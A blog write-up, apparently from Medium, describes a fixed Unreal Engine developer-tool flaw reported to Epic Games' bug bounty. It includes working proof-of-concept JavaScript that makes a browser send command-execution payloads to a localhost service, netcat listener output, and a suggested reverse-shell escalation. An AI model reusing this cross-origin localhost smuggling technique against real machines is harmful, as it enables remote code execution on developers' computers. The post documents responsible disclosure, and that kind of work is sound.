How I made 7K on Epic Games Bug Bounty

4 months ago 66
BOOK THIS SPACE FOR AD
ARTICLE AD

SynapticSpace

I n this story I will share my experience on how I made 7K on the Epic Games Bug Bounty Program by escalating a simple vulnerability to a remotely triggerable code execution one. The vulnerability has since been fixed. I’’ start right away with the two most important lessons I learned from this:

When finding a vulnerability, always find out what the worst thing is an attacker can do with it and show it to the vendor! Oftentimes, the vendor will not realize the impact of the vulnerability because they are not familiar with hacking. This is the major learning I got from this vulnerability.

When writing a report and I know much bounty is at stake, I always make sure the report is very concise, easy to follow and contains all the information the vendor needs to reproduce the vulnerability. The last
thing is crucial, because if the vendor cannot reproduce the vulnerability, they will not pay you. It is important to make the report as easy to follow as possible, because the vendor won’t spend much time on your report. Imagine reading one bad report after the other -you will get tired of it and will not spend much time on it.

Okay lets get into the meat of this story. You will quickly notice why the two points I just made above are so important. I picked the Epic Games Bug Bounty Program because they do pay well and I like their games. But I did not wanted to target Fortnite or any other big game since I consider that a bit out of my skill league. I mainly wanted to focus on the Unreal Engine.
Also I thought, if I find a vulnerability in the Unreal Engine, it will probably affect all games that use it. So I started to look into the engine source code. After working on it for a month without any findings, I transitioned to the developer tools that aid Unreal Engine developers in creating their games. I looked at each developer tool and noticed something interesting: Under certain conditions, one can send a message to the Unreal Engine Editor and the editor will just execute arbitrary code (Yes, I know, this sounds
like a dream come true but it was actually true in this specific corner case.). The only problem? The message had to be send from the localhost.
Meaning an attacker had to be on the same machine as the Unreal Engine Editor. So this is bearly a vulnerability, right? Well, not quite. Lets look at the (pseudo code) of the vulnerable function:


func parse_message(socket client_con){
byte* buf = b””
while(true){
byte* tmp = client_con.read()
if(tmp == b”<EOF>”){
break
}
buf += tmp
}
DEBUG_LOG(‘received message of length: ‘ + buf.length)
}

func handle_message(byte* buf){
if(buf.length > 1000){
DEBUG_LOG('message too long')
return
}
… // parsing logic was quite different but this suffices as an example
method = buf[0:4]
if(method == b"exec"){
SYSTEM(buf[4:])
}
}
func main(){
socket server_con = listen(localhost, PORT)
while(true){
socket client_con = server_con.accept()
thread.create(() => {
while(true){
parse_message(client_con)
})
}

What would you do now?

Hold on a second. As a good exercise, I want you to think about what you would do now. What would you do to escalate the severity of this vulnerability? Think about that for a few minutes. Then continue reading. It’ll be a worthwhile exercise for your bug bounty career.

Well, the solution lies in exploiting lax parsing! You can see that the service essentially reads a message from the client socket stream up until
the string EOFis encountered. Then it parses the message and executes it. The parsing logic is quite complex and I will not go into detail here.
But the important thing is that after an EOF is read, the service will just call read_message again and again until the socket is closed. This will make it possible
to send messages even when the attacker is not operating on localhost.

The answer lies in the browser. I like to say that the browser is the computers gate to the world. The browser might just be the most used application on your computer. And it can send requests. Do you see where this is going? If we operate a malicious website on the attackers machine and we can make the victim visit it, we can force the browser to send a request to the vulnerable service. Easy!

Alright, the first step now is to find out how to send a request to localhost from the browser. Get your JavaScript skills ready! Lets think about what we need to do: We need to send a request to localhost:PORT with a message that will be parsed by the service. So how can we connect to arbitrary ports from the browser?

Enter the WebSocket API. Lets look at the documentation:

The WebSocket API is an advanced technology that makes it possible to open a two-way interactive communication session between the user’s browser and a server. With this API, you can send messages to a server and receive event-driven responses without having to poll the server for a reply.

This sounds like exactly what we need! Lets try this directly. For the following, Wel’ll assume the service running on localhost port 8080. Following the Websockets API documentation, we end up with the following POC:

html
<html>
<script>
var ws = new WebSocket("ws://localhost:8080");
ws.onopen = function() {
ws.send("execwhoami<EOF>");
};
</script>
</html>

Also, lets not use Unreal Engine but open a simple netcat listener on port 8080 so we can see if the message was received:

nc -vlp 8080

Aaaaand fire! After opening the HTML file in the browser, we see that the message was received by netcat. Great! But something is off. Look what we received in netcat:


Connection from 127.0.0.1:46474
GET / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 7_3_4; en-US) Gecko/20100101 Firefox/59.3
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: FzPTm4lfESwfJ1f+UdGmAA==
Sec-WebSocket-Extensions: permessage-deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Connection: keep-alive, Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

What!? That’s a HTTP request! Why? Well, the answer lies in the WebSocket API. The WebSocket API is built on top of the HTTP protocol. The browser will first send a HTTP request to the server and then upgrade the connection to a WebSocket connection if and only if the service responds with a valid WebSocket upgrade response. In our case, the service wouldn’t answer at all. That’s also why (after a timeout interval of 5 seconds) the browser emits this console message:

This kind of handshake mechanism in WebSockets prevents exactly these kind of attacks.

We can’t send arbitrary messages to localhost since the service will not initiate a real WebSocket connection. Do we have any other options? Yes! At this point I’ll give you again some time to think about what you would do now.

JavaScript can also send HTTP requests from the browser. So can we maybe send a HTTP request to localhost:8080? Lets assume for a moment we can. Could we actually get the service to parse the message? Recall the code! If you think about it — yes we can! The service will read the message up until the string <EOF> is encountered. So if we send a HTTP request with a body that contains the string <EOF>, the service will parse it, resulting in an invalid message. But the service will not care about that and will just continue to read messages. After the first <EOF>, we can put the real payload, which the server will happily process from the socket stream. A HTTP POST request like this would look as follows:


POST / HTTP/1.1
Host: localhost:8080
Content-Length: XXX
Connection: keep-alive
(OTHER HEADERS)\r\n\r\n
<EOF>
execwhoami<EOF>\r\n\r\n

Lets try this out! We can use the following JavaScript code to send the request:


var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:8080", true);
xhr.send("execwhoami<EOF>\r\n\r\n");
// now read response
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
console.log(xhr.response);
}
};

And the browser console spits out:

Damn it! That doesn’t look promising. But lets check the netcat listener:


Connection from 127.0.0.1:52592
POST / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 7_3_4; en-US) Gecko/20100101 Firefox/59.3
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 19
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

execwhoami<EOF>

That’s a bingo! So apparently we did send a HTTP request with the body containing our payload to the netcat listener. So why did the browser throw an error in the console?

CORRS — or better Cross-Origin Resource Sharing — is a mechanism that allows servers to specify which origins are allowed to access their resources. This is a security mechanism that prevents attackers from accessing resources that are not intended for them. For example, if you are logged into your bank account and visit a malicious website, the website cannot access your bank account information. This is because the bank website will send a CORS header that specifies that only the bank website is allowed to access the bank account information. The browser will then enforce this policy and prevent the malicious website from accessing the bank account information.

The important thing to remember is that CORS prevents us from *reading* the response of the request. But it does not prevent us from *sending* the request. This is important to understand. We can still send the request to the service, but we cannot read the response. This is not a problem for us, since we do not care about the response. We only care about the request being sent to the service.

We can now use a payload that does not require us a to actually read some output directly from the service, such as a reverse shell and boom, we have RCE from the browser! Now any unfortunate developer that visits our malicious website will have a reverse shell opened on their machine!

Initially, I did not even wanted to report this vulnerability because the impact was so low. But a friend of mine reminded me that I should look for ways to maximize the impact of the vulnerability. I did, reported it and got 7K for it. I think that’s not so bad! So lessons learned: always escalate your vulnerabilities, write good quality reports and think about realistic attacker models. Cheers!

If you liked this story, consider following me here on Medium. I just recently started with Medium and plan to write more about my bug bounty experiences. Also, if you have any questions or feedback, feel free to reach out to me. Happy hacking!!1

Read Entire Article